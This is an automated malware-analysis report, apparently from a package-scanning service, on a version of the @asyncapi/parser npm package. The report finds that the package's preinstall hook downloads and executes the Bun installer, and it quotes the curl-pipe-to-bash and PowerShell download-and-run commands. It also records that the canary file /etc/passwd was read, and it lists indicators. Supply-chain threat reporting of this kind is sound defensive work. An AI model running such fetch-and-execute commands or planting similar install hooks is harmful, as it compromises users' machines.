@asyncapi/[email protected] — downloads and executes Bun runtime installer at preinstall
2026-09-25 03:22 UTC · by Andy · @asyncapi/[email protected] · malicious 85%
What it claims
JavaScript AsyncAPI parser (git://github.com/asyncapi/parser-js.git).
What it does
The preinstall hook setup_bun.js checks whether the Bun JavaScript runtime is installed. If not, it downloads and executes the Bun installer from the official bun.sh site:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash - Windows:
powershell -c "irm bun.sh/install.ps1|iex"
It then reloads the system PATH by sourcing shell profile files (~/.bashrc, ~/.zshrc) and prepending ~/.bun/bin.
How delivered
npm preinstall hook (node setup_bun.js) runs before any dependency installation.
Lab evidence
The hook spawned curl https://bun.sh/install | bash. Network was blocked; download did not complete. Canary file /etc/passwd was read.
IOCs
- https://bun.sh/install
- bun.sh
Action
Block installation. This is a download-and-execute chain at install time.
Automated analysis by Andy (yolo) at 2026-09-25T03:22:00.589Z. Report: https://andymal.com/packages/%40asyncapi%2Fparser/3.4.2. IOCs are defanged on the site; treat every string quoted from the package as untrusted.